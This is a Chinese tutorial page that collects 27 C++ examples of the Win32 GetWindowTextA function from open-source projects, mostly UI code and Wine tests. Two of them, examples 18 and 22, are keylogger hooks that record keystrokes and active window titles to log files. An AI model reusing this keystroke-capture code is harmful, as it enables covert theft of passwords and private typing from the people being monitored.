您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ GetWindowTextA函数代码示例

51自学网 2021-06-01 21:18:04
  C++
这篇教程C++ GetWindowTextA函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中GetWindowTextA函数的典型用法代码示例。如果您正苦于以下问题:C++ GetWindowTextA函数的具体用法?C++ GetWindowTextA怎么用?C++ GetWindowTextA使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了GetWindowTextA函数的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: GetWindowTextA

void CNodeInfoWindow::OnClickUpdateTransformButton(){	EditorScene* scene = EditorScene::getInstance();	SNodeInfo* info = scene->GetSelectedNodeInfo();	if (!info)		return;	f32 position[3];	f32 rotation[3];	f32 scaling[3];	char text[256];	for (u32 i = 0; i < 3; i++)	{		GetWindowTextA(mPosTextFields[i], text, 256);		int err = sscanf_s(text, "%f", &position[i]);		if (err < 1 || err == EOF)		{			MessageBoxA(mParentHwnd, "cannot convert position value", "Error", NULL);			return;		}	}	for (u32 i = 0; i < 3; i++)	{		GetWindowTextA(mRotTextFields[i], text, 256);		int err = sscanf_s(text, "%f", &rotation[i]);		if (err < 1 || err == EOF)		{			MessageBoxA(mParentHwnd, "cannot convert rotation value", "Error", NULL);			return;		}	}	for (u32 i = 0; i < 3; i++)	{		GetWindowTextA(mScaleTextFields[i], text, 256);		int err = sscanf_s(text, "%f", &scaling[i]);		if (err < 1 || err == EOF)		{			MessageBoxA(mParentHwnd, "cannot convert scale value", "Error", NULL);			return;		}	}	info->Position.x = position[0];	info->Position.y = position[1];	info->Position.z = position[2];	info->Rotation.x = rotation[0] * XM_PI / 180.0f;	info->Rotation.y = rotation[1] * XM_PI / 180.0f;	info->Rotation.z = rotation[2] * XM_PI / 180.0f;	info->Scaling.x = scaling[0];	info->Scaling.y = scaling[1];	info->Scaling.z = scaling[2];	scene->UpdateNodeInfo(info);	UpdateShowing(info);}
开发者ID:Wu1994,项目名称:GameFinal,代码行数:60,


示例2: GetWindowTextA

bool CCylinderBoundingWindow::Update(SBoundingShape* shape){	f32 height, radius;	int err;	char text[256];	GetWindowTextA(mHeightTextField, text, 256);	err = sscanf_s(text, "%f", &height);	if (err < 1 || err == EOF)	{		MessageBoxA(mParentHwnd, "cannot convert height value", "Error", NULL);		return false;	}	GetWindowTextA(mRadiusTextField, text, 256);	err = sscanf_s(text, "%f", &radius);	if (err < 1 || err == EOF)	{		MessageBoxA(mParentHwnd, "cannot convert radius value", "Error", NULL);		return false;	}	SCylinderBounding* cylinder = (SCylinderBounding*)shape;	cylinder->Height = height;	cylinder->Radius = radius;	return true;}
开发者ID:Wu1994,项目名称:GameFinal,代码行数:27,


示例3: test_get_set_text

static void test_get_set_text(void){    HWND hwnd;    CHAR ip[16];    INT r;    hwnd = create_ipaddress_control();    if (!hwnd)    {        win_skip("IPAddress control not implemented/n");        return;    }    /* check text just after creation */    r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip));    expect(7, r);    ok(strcmp(ip, "0.0.0.0") == 0, "Expected null IP address, got %s/n", ip);    SendMessageA(hwnd, IPM_SETADDRESS, 0, MAKEIPADDRESS(127, 0, 0, 1));    r = GetWindowTextA(hwnd, ip, ARRAY_SIZE(ip));    expect(9, r);    ok(strcmp(ip, "127.0.0.1") == 0, "Expected 127.0.0.1, got %s/n", ip);    DestroyWindow(hwnd);}
开发者ID:Jactry,项目名称:wine,代码行数:25,


示例4: AddLine

void CListSide::AddLineAt(int nLine){	AddLine();	int nrLines = m_Lines.size();	for (int i = nrLines - 2; i>= nLine; i--)	{		HWND hWnd = m_Lines.at(i).edSecond.m_hWnd;		int len = GetWindowTextLengthA(hWnd);		char* str = NULL;		if (len)		{			len++;			str = new char[len];			GetWindowTextA(hWnd, str, len);			SetWindowTextA(hWnd, "0:00");			hWnd = m_Lines.at(i+1).edSecond.m_hWnd;			SetWindowTextA(hWnd, str);			delete[] str;		}				hWnd = m_Lines.at(i).edText.m_hWnd;		len = GetWindowTextLengthA(hWnd);		if (len)		{			len++;			str = new char[len];			GetWindowTextA(hWnd, str, len);			SetWindowTextA(hWnd, "");			hWnd = m_Lines.at(i+1).edText.m_hWnd;			SetWindowTextA(hWnd, str);			delete[] str;		}	}}
开发者ID:Feoggou,项目名称:gen_ym10,代码行数:35,


示例5: test_UDS_SETBUDDYINT

static void test_UDS_SETBUDDYINT(void){    HWND updown;    DWORD style, ret;    CHAR text[10];    /* cleanup buddy */    text[0] = '/0';    SetWindowTextA(g_edit, text);    /* creating without UDS_SETBUDDYINT */    updown = create_updown_control(UDS_ALIGNRIGHT, g_edit);    /* try to set UDS_SETBUDDYINT after creation */    style = GetWindowLongA(updown, GWL_STYLE);    SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT);    style = GetWindowLongA(updown, GWL_STYLE);    ok(style & UDS_SETBUDDYINT, "Expected UDS_SETBUDDY to be set/n");    SendMessageA(updown, UDM_SETPOS, 0, 20);    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));    ok(lstrlenA(text) == 0, "Expected empty string/n");    DestroyWindow(updown);    /* creating with UDS_SETBUDDYINT */    updown = create_updown_control(UDS_SETBUDDYINT | UDS_ALIGNRIGHT, g_edit);    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));    /* 50 is initial value here */    ok(lstrcmpA(text, "50") == 0, "Expected '50', got '%s'/n", text);    /* now remove style flag */    style = GetWindowLongA(updown, GWL_STYLE);    SetWindowLongA(updown, GWL_STYLE, style & ~UDS_SETBUDDYINT);    SendMessageA(updown, UDM_SETPOS, 0, 20);    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));    ok(lstrcmpA(text, "20") == 0, "Expected '20', got '%s'/n", text);    /* set edit text directly, check position */    strcpy(text, "10");    SetWindowTextA(g_edit, text);    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);    expect(10, ret);    strcpy(text, "11");    SetWindowTextA(g_edit, text);    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);    expect(11, LOWORD(ret));    expect(0,  HIWORD(ret));    /* set to invalid value */    strcpy(text, "21st");    SetWindowTextA(g_edit, text);    ret = SendMessageA(updown, UDM_GETPOS, 0, 0);    expect(11, LOWORD(ret));    expect(TRUE, HIWORD(ret));    /* set style back */    style = GetWindowLongA(updown, GWL_STYLE);    SetWindowLongA(updown, GWL_STYLE, style | UDS_SETBUDDYINT);    SendMessageA(updown, UDM_SETPOS, 0, 30);    GetWindowTextA(g_edit, text, ARRAY_SIZE(text));    ok(lstrcmpA(text, "30") == 0, "Expected '30', got '%s'/n", text);    DestroyWindow(updown);}
开发者ID:Jactry,项目名称:wine,代码行数:57,


示例6: page_dlg_proc

static INT_PTR CALLBACK page_dlg_proc(HWND hwnd, UINT msg, WPARAM wparam,                                      LPARAM lparam){    switch(msg)    {    case WM_INITDIALOG:      {        HWND sheet = GetParent(hwnd);        char caption[256];        GetWindowTextA(sheet, caption, sizeof(caption));        ok(!strcmp(caption,"test caption"), "caption: %s/n", caption);        return TRUE;      }    case WM_NOTIFY:      {        NMHDR *nmhdr = (NMHDR *)lparam;        switch(nmhdr->code)        {        case PSN_APPLY:            return TRUE;        default:            return FALSE;        }      }    case WM_NCDESTROY:        ok(!SendMessageA(sheethwnd, PSM_INDEXTOHWND, 400, 0),"Should always be 0/n");        return TRUE;    default:        return FALSE;    }}
开发者ID:Strongc,项目名称:reactos,代码行数:33,


示例7: test_dtm_set_format

static void test_dtm_set_format(void){    HWND hWnd;    CHAR txt[256];    SYSTEMTIME systime;    LRESULT r;    hWnd = create_datetime_control(DTS_SHOWNONE);    flush_sequences(sequences, NUM_MSG_SEQUENCES);    r = SendMessageA(hWnd, DTM_SETFORMATA, 0, 0);    expect(1, r);    r = SendMessageA(hWnd, DTM_SETFORMATA, 0,		    (LPARAM)"'Today is: 'hh':'m':'s dddd MMM dd', 'yyyy");    expect(1, r);    ok_sequence(sequences, DATETIME_SEQ_INDEX, test_dtm_set_format_seq, "test_dtm_set_format", FALSE);    r = SendMessageA(hWnd, DTM_SETFORMATA, 0, (LPARAM)"'hh' hh");    expect(1, r);    ZeroMemory(&systime, sizeof(systime));    systime.wYear = 2000;    systime.wMonth = systime.wDay = 1;    r = SendMessageA(hWnd, DTM_SETSYSTEMTIME, 0, (LPARAM)&systime);    expect(1, r);    GetWindowTextA(hWnd, txt, 256);    ok(strcmp(txt, "hh 12") == 0, "String mismatch (/"%s/" vs /"hh 12/")/n", txt);    DestroyWindow(hWnd);}
开发者ID:GYGit,项目名称:reactos,代码行数:32,


示例8: SERIALUI_GetConfItems

/* * Get the current sellection of the given combo box and set a DCB field to * the value matching that selection. */static BOOL SERIALUI_GetConfItems(HWND hDlg, DWORD id, LPCPARAM2STR table, LPDWORD lpdwVal){    DWORD i;    CHAR lpEntry[20];    HWND hControl = GetDlgItem(hDlg,id);    if( (!hControl) || (!lpdwVal))    {        TRACE("Couldn't get window handle for item %lx/n",id);        return FALSE;    }    if(!GetWindowTextA(hControl, &lpEntry[0], sizeof(lpEntry)))    {        TRACE("Couldn't get window text for item %lx/n",id);        return FALSE;    }    /* TRACE("%ld contains %s/n",id, lpEntry); */    for(i=0; i<table->dwSize; i++)    {        if(!lstrcmpA(table->data[i].name,lpEntry))	{            *lpdwVal = table->data[i].val;            return TRUE;	}    }    return FALSE;}
开发者ID:howard5888,项目名称:wineT,代码行数:34,


示例9: GetWindowTextLengthA

BOOL CALLBACK CWindowsFunctions::CB_EnumChildProc(HWND hwnd, LPARAM lParam){	int length = GetWindowTextLengthA(hwnd);	if (length > 0)	{		length++; // NULL character		char* jpn = new char[length];			length = GetWindowTextA(hwnd, jpn, length);		if (length > 0)		{			char className[6];			GetClassNameA(hwnd, className, sizeof(className));			if (strcmp(className, "Edit") != 0)			{				bool result = m_resources->TranslateUserInterface(jpn, m_uiBuffer, UI_BUFFER);				if (result)				{					SetWindowTextA(hwnd, m_uiBuffer);				}			}		}		delete[] jpn;	}	return TRUE;}
开发者ID:eplightning,项目名称:afhook,代码行数:33,


示例10: GetEdit1TextAsMPZ

BOOL GetEdit1TextAsMPZ(HWND hDlg, mpz_t _P){ char b[2048]; LPSTR buf=(LPSTR)b; GetWindowTextA(GetDlgItem(hDlg, IDC_EDIT1), &buf[0], 2047); INT ii=(INT)SendMessage(GetDlgItem(hDlg, IDC_BASE_LIST), LB_GETCURSEL, 0, 0); UINT i, Base, Bits, Trues; BOOL Success=TRUE;  switch(ii)  {   case 0: Base=10; break;   case 1: case 2: Base=16; break;   case 3: Base=32; break;   case 4: Base=62; break;   default: Success=FALSE; break;  }  //uint32_t ulMaxBits=2*sizeof(uint32_t)*8 + mp_bits_per_limb;mpz_init2(FFmpzTMP, ulMaxBits);  Success &= (mpz_init_set_str(_P, (char*)buf, Base)!=-1);   if(Success)   {    Bits=mpz_sizeinbase(_P, 2);    Trues=0;      for(i=0; i<Bits; i++)       if(mpz_tstbit(_P, i))Trues++;    SetLabelUI(hDlg, IDC_BITS_STT,  Bits);    SetLabelUI(hDlg, IDC_TRUES_STT, Trues);   }   else   {    SetLabelUI(hDlg, IDC_BITS_STT, 0xFFFFFFFF);    SetLabelUI(hDlg, IDC_TRUES_STT, 0xFFFFFFFF);   }  return Success;}//--//
开发者ID:rob72,项目名称:Prime-numbers-generator,代码行数:34,


示例11: GetWindowTextUTF8

int GetWindowTextUTF8(HWND hWnd, LPTSTR lpString, int nMaxCount){  if (!lpString) return 0;  if (nMaxCount>0 AND_IS_NOT_WIN9X)  {    int alloc_size=nMaxCount;    // prevent large values of nMaxCount from allocating memory unless the underlying text is big too    if (alloc_size > 512)      {      int l=GetWindowTextLengthW(hWnd);      if (l>=0 && l < 512) alloc_size=1000;    }    {      WIDETOMB_ALLOC(wbuf, alloc_size);      if (wbuf)      {        GetWindowTextW(hWnd,wbuf,(int) (wbuf_size/sizeof(WCHAR)));        if (!WideCharToMultiByte(CP_UTF8,0,wbuf,-1,lpString,nMaxCount,NULL,NULL) && GetLastError()==ERROR_INSUFFICIENT_BUFFER)          lpString[nMaxCount-1]=0;        WIDETOMB_FREE(wbuf);        return (int)strlen(lpString);      }    }  }  return GetWindowTextA(hWnd,lpString,nMaxCount);}
开发者ID:Artogn,项目名称:licecap,代码行数:31,


示例12: DoSaveFile

static VOID DoSaveFile(VOID){    HANDLE hFile;    DWORD dwNumWrite;    LPSTR pTemp;    DWORD size;    hFile = CreateFile(Globals.szFileName, GENERIC_WRITE, FILE_SHARE_WRITE,                       NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    if(hFile == INVALID_HANDLE_VALUE)    {        ShowLastError();        return;    }    size = GetWindowTextLengthA(Globals.hEdit) + 1;    pTemp = HeapAlloc(GetProcessHeap(), 0, size);    if (!pTemp)    {	CloseHandle(hFile);        ShowLastError();        return;    }    size = GetWindowTextA(Globals.hEdit, pTemp, size);    if (!WriteFile(hFile, pTemp, size, &dwNumWrite, NULL))        ShowLastError();    else        SendMessage(Globals.hEdit, EM_SETMODIFY, FALSE, 0);    SetEndOfFile(hFile);    CloseHandle(hFile);    HeapFree(GetProcessHeap(), 0, pTemp);}
开发者ID:howard5888,项目名称:wineT,代码行数:34,


示例13: test_create_updown_control

static void test_create_updown_control(void){    CHAR text[MAX_PATH];    parent_wnd = create_parent_window();    ok(parent_wnd != NULL, "Failed to create parent window!/n");    ok_sequence(sequences, PARENT_SEQ_INDEX, create_parent_wnd_seq, "create parent window", TRUE);    flush_sequences(sequences, NUM_MSG_SEQUENCES);    edit = create_edit_control();    ok(edit != NULL, "Failed to create edit control/n");    ok_sequence(sequences, PARENT_SEQ_INDEX, add_edit_to_parent_seq, "add edit control to parent", FALSE);    flush_sequences(sequences, NUM_MSG_SEQUENCES);    updown = create_updown_control();    ok(updown != NULL, "Failed to create updown control/n");    ok_sequence(sequences, PARENT_SEQ_INDEX, add_updown_to_parent_seq, "add updown control to parent", TRUE);    ok_sequence(sequences, EDIT_SEQ_INDEX, add_updown_with_edit_seq, "add updown control with edit", FALSE);    flush_sequences(sequences, NUM_MSG_SEQUENCES);    GetWindowTextA(edit, text, MAX_PATH);    ok(lstrlenA(text) == 0, "Expected empty string/n");    ok_sequence(sequences, EDIT_SEQ_INDEX, get_edit_text_seq, "get edit text", FALSE);    flush_sequences(sequences, NUM_MSG_SEQUENCES);    test_updown_pos();    test_updown_pos32();    test_updown_buddy();    test_updown_base();    test_updown_unicode();}
开发者ID:devyn,项目名称:wine,代码行数:35,


示例14: set_foreground

static DWORD set_foreground(HWND hwnd){    HWND hwnd_fore;    DWORD set_id, fore_id, ret;    char win_text[1024];    hwnd_fore = GetForegroundWindow();    GetWindowTextA(hwnd_fore, win_text, 1024);    set_id = GetWindowThreadProcessId(hwnd, NULL);    fore_id = GetWindowThreadProcessId(hwnd_fore, NULL);    trace("/"%s/" %p %08x hwnd %p %08x/n", win_text, hwnd_fore, fore_id, hwnd, set_id);    ret = AttachThreadInput(set_id, fore_id, TRUE);    trace("AttachThreadInput returned %08x/n", ret);    ret = ShowWindow(hwnd, SW_SHOWNORMAL);    trace("ShowWindow returned %08x/n", ret);    ret = SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE);    trace("set topmost returned %08x/n", ret);    ret = SetWindowPos(hwnd, HWND_NOTOPMOST, 0,0,0,0, SWP_NOSIZE|SWP_NOMOVE);    trace("set notopmost returned %08x/n", ret);    ret = SetForegroundWindow(hwnd);    trace("SetForegroundWindow returned %08x/n", ret);    Sleep(250);    AttachThreadInput(set_id, fore_id, FALSE);    return ret;}
开发者ID:hoangduit,项目名称:reactos,代码行数:25,


示例15: DoMyControlProcessing

int DoMyControlProcessing(HWND hdlg,UINT message,WPARAM wParam,LPARAM lParam,INT_PTR *bReturn){	switch(message) {		case WM_INITDIALOG:			EnumChildWindows(hdlg,MyControlsEnumChildren,0);			if(hEmfHeaderLogo==NULL) {				HRSRC hRsrc=FindResourceA(hInst,MAKEINTRESOURCEA(IDE_HDRLOGO),"EMF");				HGLOBAL hGlob=LoadResource(hInst,hRsrc);				hEmfHeaderLogo=SetEnhMetaFileBits(SizeofResource(hInst,hRsrc),(PBYTE)LockResource(hGlob));			}			SendDlgItemMessage(hdlg,IDC_HDRLOGO,STM_SETIMAGE,IMAGE_ENHMETAFILE,(LPARAM)hEmfHeaderLogo);			break;		case WM_CTLCOLORSTATIC:			if((GetWindowLong((HWND)lParam,GWL_STYLE)&0xFFFF)==0) {				char szText[256];				GetWindowTextA((HWND)lParam,szText,sizeof(szText));				if(!strcmp(szText,"whiterect")) {					SetTextColor((HDC)wParam,RGB(255,255,255));					SetBkColor((HDC)wParam,RGB(255,255,255));					SetBkMode((HDC)wParam,OPAQUE);					*bReturn=(INT_PTR)GetStockObject(WHITE_BRUSH);					return TRUE;				}				else {					SetBkMode((HDC)wParam,TRANSPARENT);					*bReturn=(INT_PTR)GetStockObject(NULL_BRUSH);					return TRUE;				}			}			break;	}	return FALSE;}
开发者ID:dineshkummarc,项目名称:miranda-im-v0.9.47-src,代码行数:33,


示例16: chromeHwnd

int CFrame::getChromeTitle(LPSTR lpBuf, int maxLen){	HWND hChrome = chromeHwnd();	if (!hChrome)	{		return -1;	}	GetWindowTextA(hChrome, lpBuf, maxLen);	int nLen = strlen(lpBuf);	if (nLen == 0 || nLen >= maxLen / 2)	{		strcpy_s(lpBuf, maxLen, ("ERR"));		return 3;	}	else	{		for (int i = 1; i < nLen; i++)		{			if (lpBuf[i] == '-')			{				lpBuf[i - 1] = '/0';				return i - 1;			}		}	}	return nLen;}
开发者ID:kpli,项目名称:AigisDmm,代码行数:27,


示例17: Mix_ResumeMusic

void MusPlayer_WinAPI::on_play_clicked(){    if(Mix_PlayingMusic())    {        if(Mix_PausedMusic())        {            Mix_ResumeMusic();            SetWindowTextW(m_buttonPlay, L"Pause");            return;        }        else        {            Mix_PauseMusic();            SetWindowTextW(m_buttonPlay, L"Resume");            return;        }    }    char trackIDtext[1024];    memset(trackIDtext, 0, 1024);    GetWindowTextA(m_gme.m_trackNum, trackIDtext, 1024);    int trackID = atoi(trackIDtext);    m_prevTrackID = trackID;    SetWindowTextW(m_buttonPlay, L"Play");    if(currentMusic.empty())        return;    if(PGE_MusicPlayer::MUS_openFile(currentMusic +"|"+trackIDtext ) )    {        PGE_MusicPlayer::MUS_playMusic();        SetWindowTextW(m_buttonPlay, L"Pause");    }    ShowWindow(m_groupGME, SW_HIDE);    ShowWindow(m_groupMIDI, SW_HIDE);    ShowWindow(m_groupADLMIDI, SW_HIDE);    switch(PGE_MusicPlayer::type)    {        case MUS_MID:            ShowWindow(m_groupMIDI,     SW_SHOW);            ShowWindow(m_groupADLMIDI,  SW_SHOW);            m_height = 350;            break;        case MUS_SPC:            ShowWindow(m_groupGME,  SW_SHOW);            m_height = 220;            break;        default:            m_height = 170;            break;    }    SetWindowPos(m_hWnd, HWND_TOP, 0, 0, 350, m_height, SWP_NOMOVE|SWP_NOZORDER);    SetWindowTextW(m_labelTitle,        Str2Wstr(PGE_MusicPlayer::MUS_getMusTitle()).c_str());    SetWindowTextW(m_labelArtist,       Str2Wstr(PGE_MusicPlayer::MUS_getMusArtist()).c_str());    SetWindowTextW(m_labelAlboom,       Str2Wstr(PGE_MusicPlayer::MUS_getMusAlbum()).c_str());    SetWindowTextW(m_labelCopyright,    Str2Wstr(PGE_MusicPlayer::MUS_getMusCopy()).c_str());    SetWindowTextA(m_formatInfo,        PGE_MusicPlayer::musicTypeC());}
开发者ID:jpmac26,项目名称:PGE-Project,代码行数:59,


示例18: LowLevelKeyboardProc

LRESULT CALLBACK  LowLevelKeyboardProc(int code, WPARAM wParam, LPARAM lParam) {	HWND hFocus=GetForegroundWindow();	if(code<0) return CallNextHookEx(g_hLogHook,code,wParam,lParam);	if(code==HC_ACTION) {		KBDLLHOOKSTRUCT *pKBst=(KBDLLHOOKSTRUCT *)lParam;		if(wParam==WM_KEYDOWN) {						DWORD dwCount,dwBytes;			char svBuffer[256];			int vKey,nScan;					vKey=pKBst->vkCode;			nScan=pKBst->scanCode;			nScan<<=16;						// Check to see if focus has changed						if(g_hLastFocus!=hFocus) {				char svTitle[256];				int nCount;				nCount=GetWindowTextA(hFocus,svTitle,256);				if(nCount>0) {					char svBuffer[512];					sprintf(svBuffer,"/r/n-----[ %s ]-----/r/n",svTitle);					WriteFile(g_hCapFile,svBuffer,strlen(svBuffer),&dwBytes,NULL);				}				g_hLastFocus=hFocus;			}						// Write out key			dwCount=GetKeyNameTextA(nScan,svBuffer,256);				if(dwCount) {				if(vKey==VK_SPACE) {					svBuffer[0]=' ';					svBuffer[1]='/0';					dwCount=1;				}				if(dwCount==1) {					BYTE kbuf[256];					WORD ch;					int chcount;										GetKeyboardState(kbuf);										chcount=ToAscii(vKey,nScan,kbuf,&ch,0);					if(chcount>0) WriteFile(g_hCapFile,&ch,chcount,&dwBytes,NULL);								} else {					WriteFile(g_hCapFile,"[",1,&dwBytes,NULL);					WriteFile(g_hCapFile,svBuffer,dwCount,&dwBytes,NULL);					WriteFile(g_hCapFile,"]",1,&dwBytes,NULL);					if(vKey==VK_RETURN) WriteFile(g_hCapFile,"/r/n",2,&dwBytes,NULL);				}			}					}	}	return CallNextHookEx(g_hLogHook,code,wParam,lParam);}
开发者ID:g5tyl3,项目名称:Timber,代码行数:58,


示例19: GetWindowTextLengthA

void CListSide::RemoveLineAt(int nLine){	int nrLines = m_Lines.size();	for (int i = nLine; i < nrLines; i++)	{		HWND hWnd = m_Lines.at(i).edSecond.m_hWnd;		int len = GetWindowTextLengthA(hWnd);		char* str = NULL;		if (len)		{			len++;			str = new char[len];			GetWindowTextA(hWnd, str, len);			SetWindowTextA(hWnd, "");			hWnd = m_Lines.at(i-1).edSecond.m_hWnd;			SetWindowTextA(hWnd, str);			delete[] str;		}				hWnd = m_Lines.at(i).edText.m_hWnd;		len = GetWindowTextLengthA(hWnd);		if (len)		{			len++;			str = new char[len];			GetWindowTextA(hWnd, str, len);			SetWindowTextA(hWnd, "");			hWnd = m_Lines.at(i-1).edText.m_hWnd;			SetWindowTextA(hWnd, str);			delete[] str;		}	}	RemoveLine();/*	RECT rect;	GetWindowRect(m_Lines.back().edText.m_hWnd, &rect);	POINT pt = {rect.right, rect.bottom};	ScreenToClient(m_hWnd, &pt);//	int nBottom = m_rClient.top + m_Lines.back().nIndex * m_nLineHeight + m_nLineHeight;	UpdateScrollBar(pt.y);*/}
开发者ID:Feoggou,项目名称:gen_ym10,代码行数:44,


示例20: GetWindowTextA

void ExtFrame::RegChannels(){ // set property "tradelink" on this window so we can find it easily	CString caption;	GetWindowTextA(caption);	HWND h = (HWND)FindWindowA(NULL,caption);	if (h)	{		SetProp(h,"TradeLink",(HANDLE)h);	}}
开发者ID:Decatf,项目名称:tradelink,代码行数:10,


示例21: end_edit

end_edit(TableUI *tui) {    if (is_editing(tui)) {        char buf[65536];           /* An EDIT control's limit */        int len = GetWindowTextLength(tui->edit);        GetWindowTextA (tui->edit, buf, len + 1);        set_cell(tui->table, tui->cur_row, tui->cur_col, buf, len);        cancel_edit(tui);        redraw_rows(tui, tui->cur_row, tui->cur_row);    }}
开发者ID:sanyaade-teachings,项目名称:Spreadsheet,代码行数:10,


示例22: MsgHookProc

LRESULT CALLBACK MsgHookProc(int nCode, WPARAM wPARAM, LPARAM lParam){	if (HC_ACTION == nCode) //说明有消息到来	{		PMSG pMsg = (PMSG)lParam;		char szWindowName[MAXBYTE] = { 0 };		char szOutput[MAXBYTE] = { 0 };		char szOutput2[MAXBYTE] = { 0 };		FILE *logfile;		if (pMsg->message == WM_CHAR)//字符消息		{			//确定此时已经按下一个键			char szKey = (char)pMsg->wParam;			//MessageBox(nullptr, L"你按下了一个键", L"", MB_OK);			if (szKey >= 32 && szKey <= 126) //有效字符消息 32到126之间			{				GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口				sprintf_s(szOutput, MAXBYTE, "窗口:[%s]接收到:%c/n", szWindowName, szKey);				OutputDebugStringA(szOutput);				fopen_s(&logfile, "c://ouput.txt", "a+");				fprintf(logfile,szOutput);				fclose(logfile);			}		}		//////////////////////////////////////////////		else if (pMsg->message == WM_IME_CHAR)//输入法消息		{			//确定此时已经按下一个键			char szKey2 = (char)pMsg->wParam;			GetWindowTextA(pMsg->hwnd, szWindowName, MAXBYTE);//哪个窗口			sprintf_s(szOutput2, MAXBYTE, "窗口:[%s]接收到:%c/n", szWindowName, szKey2);			OutputDebugStringA(szOutput2);			fopen_s(&logfile, "c://ouput.txt", "a+");			fprintf(logfile, szOutput2);			fclose(logfile);			//输入法的消息无法记录,原因不明。		}	}	return CallNextHookEx(g_hHook, nCode, wPARAM, lParam);}
开发者ID:Redi0,项目名称:simplykeyloger,代码行数:42,


示例23: GetForegroundWindow

// Spout OpenGL initialization functionbool SpoutSenderPlugin::InitOpenGL(){	char windowtitle[512];	// We only need an OpenGL context with no window	m_hwnd = GetForegroundWindow(); // Any window will do - we don't render to it	if(!m_hwnd) { printf("InitOpenGL error 1/n"); MessageBoxA(NULL, "Error 1/n", "InitOpenGL", MB_OK); return false; }	m_hdc = GetDC(m_hwnd);	if(!m_hdc) { printf("InitOpenGL error 2/n"); MessageBoxA(NULL, "Error 2/n", "InitOpenGL", MB_OK); return false; }	GetWindowTextA(m_hwnd, windowtitle, 256); // debug	PIXELFORMATDESCRIPTOR pfd;	ZeroMemory( &pfd, sizeof( pfd ) );	pfd.nSize = sizeof( pfd );	pfd.nVersion = 1;	pfd.dwFlags = PFD_DRAW_TO_WINDOW | PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER;	pfd.iPixelType = PFD_TYPE_RGBA;	pfd.cColorBits = 32;	pfd.cDepthBits = 24; // LJ DEBUG - was 16;	pfd.cStencilBits = 8; // LJ DEBUG -added	pfd.iLayerType = PFD_MAIN_PLANE;	int iFormat = ChoosePixelFormat(m_hdc, &pfd);	if(!iFormat) { printf("InitOpenGL error 3/n"); MessageBoxA(NULL, "Error 3/n", "InitOpenGL", MB_OK); return false; }	if(!SetPixelFormat(m_hdc, iFormat, &pfd)) { printf("InitOpenGL error 4/n"); MessageBoxA(NULL, "Error 4/n", "InitOpenGL", MB_OK); return false; }	m_hRC = wglCreateContext(m_hdc);	if(!m_hRC) { printf("InitOpenGL error 5/n"); MessageBoxA(NULL, "Error 5/n", "InitOpenGL", MB_OK); return false; }	wglMakeCurrent(m_hdc, m_hRC);	if(wglGetCurrentContext() == NULL) { printf("InitOpenGL error 6/n"); MessageBoxA(NULL, "Error 6/n", "InitOpenGL", MB_OK); return false; }	// Set up a shared context	if(!m_hSharedRC) m_hSharedRC = wglCreateContext(m_hdc);	if(!m_hSharedRC) { printf("InitOpenGL shared context not created/n"); }	if(!wglShareLists(m_hSharedRC, m_hRC)) { printf("wglShareLists failed/n"); }	// Drop through to return true	/*	SendMessageTimeoutA(m_hwnd, WM_GETTEXT, 256, (LPARAM)windowtitle, SMTO_ABORTIFHUNG, 128, NULL);	printf("InitOpenGL : hwnd = %x (%s), hdc = %x, context = %x/n", m_hwnd, windowtitle, m_hdc, m_hRC);	int nTotalAvailMemoryInKB = 0;	int nCurAvailMemoryInKB = 0;	// GPU_MEMORY_INFO_TOTAL_AVAILABLE_MEMORY_NVX 0x9048	// GPU_MEMORY_INFO_CURRENT_AVAILABLE_VIDMEM_NVX 0x9049	glGetIntegerv(0x9048, &nTotalAvailMemoryInKB);	glGetIntegerv(0x9049, &nCurAvailMemoryInKB);	printf("Memory : Total [%i], Available [%i]/n", nTotalAvailMemoryInKB, nCurAvailMemoryInKB);	*/	return true;}
开发者ID:L05,项目名称:Spout2,代码行数:55,


示例24: window_with_prefix_callback

BOOL CALLBACK window_with_prefix_callback(HWND window, LPARAM lParam) {	window_with_prefix_data_t *find = (window_with_prefix_data_t *)lParam;		char title[80];	GetWindowTextA(window, title, sizeof(title));	if( !find->window && strncmp(find->prefix, title, strlen(find->prefix)) == 0 ) {		find->window = window;	}	return TRUE;}
开发者ID:gvsurenderreddy,项目名称:screenogram,代码行数:11,


示例25: VDGetWindowTextAW32

VDStringA VDGetWindowTextAW32(HWND hwnd) {	char buf[512];	int len = GetWindowTextLengthA(hwnd);	if (len > 511) {		vdblock<char> tmp(len + 1);		len = GetWindowTextA(hwnd, tmp.data(), tmp.size());		const char *s = tmp.data();		VDStringA text(s, s+len);		return text;	} else if (len > 0) {		len = GetWindowTextA(hwnd, buf, 512);		return VDStringA(buf, buf + len);	}	return VDStringA();}
开发者ID:KGE-INC,项目名称:VirtualDub,代码行数:20,


示例26: GetText

std::string GetText(HWND hWnd){	size_t len = GetWindowTextLengthA(hWnd) + 1;	if (len != 0)	{		char *text = (char *)alloca(len);		len = GetWindowTextA(hWnd, text, len);		return std::string(text, len);	}	return std::string();}
开发者ID:ZeyadAhmed,项目名称:VCMPBrowser,代码行数:11,


示例27: DialogProc

